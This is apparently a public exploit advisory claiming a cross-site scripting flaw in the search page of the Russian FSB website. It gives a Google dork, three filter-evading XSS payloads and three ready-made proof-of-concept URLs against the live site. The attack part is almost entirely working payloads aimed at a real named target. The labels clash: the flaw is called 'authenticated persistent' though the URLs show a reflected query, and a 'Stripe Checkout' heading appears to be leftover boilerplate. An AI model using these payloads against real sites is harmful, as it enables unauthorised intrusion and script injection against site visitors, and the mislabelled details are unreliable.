Russian FSB Cross Site Scripting

`/*!  
- # VULNERABILITY: Cross Site Scripting Federal Security Service of the Russian Federation  
- # Authenticated Persistent XSS  
- # GOOGLE DORK: inurl:fsb.ru/fsb/sh.htm?query=  
- # DATE: 2024-11-29  
- # SECURITY RESEARCHER: E1.Coders  
- # VENDOR: FSB [ http://www.fsb.ru/ ]  
- # SOFTWARE LINK: http://www.fsb.ru/  
- # CVSS: AV:N/AC:L/PR:H/UI:N/S:C  
- # CWE: CWE-79  
*/  
  
  
### -- [ Info: ]  
  
[i] A valid persistent XSS vulnerability was discovered in the search section of the Federal Security Service of the Russian Federation website.  
  
[i] Vulnerable parameter(s): sh.htm?query= < AND > /fsb/sh.htm?query=  
  
  
### -- [ Impact: ]  
  
[~] Malicious JavaScript code injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource.  
  
  
### -- [ Payloads: ]  
  
`"'><img src=xxx:x \x22onerror=javascript:alert(1)>  
  
"/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />  
  
`"'><img src=xxx:x onerror\x09=javascript:alert(1)>  
  
  
### -- [ PoC #1 | Authenticated Persistent XSS | Background Image (Stripe Checkout): ]  
  
http://www.fsb.ru/fsb/sh.htm?query=`%22%27%3E%3Cimg%20src=xxx:x%20onerror\x09=javascript:alert(1)%3E  
  
http://www.fsb.ru/fsb/sh.htm?query=%22/%3E%3Cimg/onerror=\x20javascript:alert(1)\x20src=xxx:x%20/%3E  
  
http://www.fsb.ru/fsb/sh.htm?query=`%22%27%3E%3Cimg%20src=xxx:x%20\x22onerror=javascript:alert(1)%3E  
  
  
### -- [ Contacts: ]  
  
[+] E-Mail: [email protected]  
  
[+] GitHub: @e1coders  
`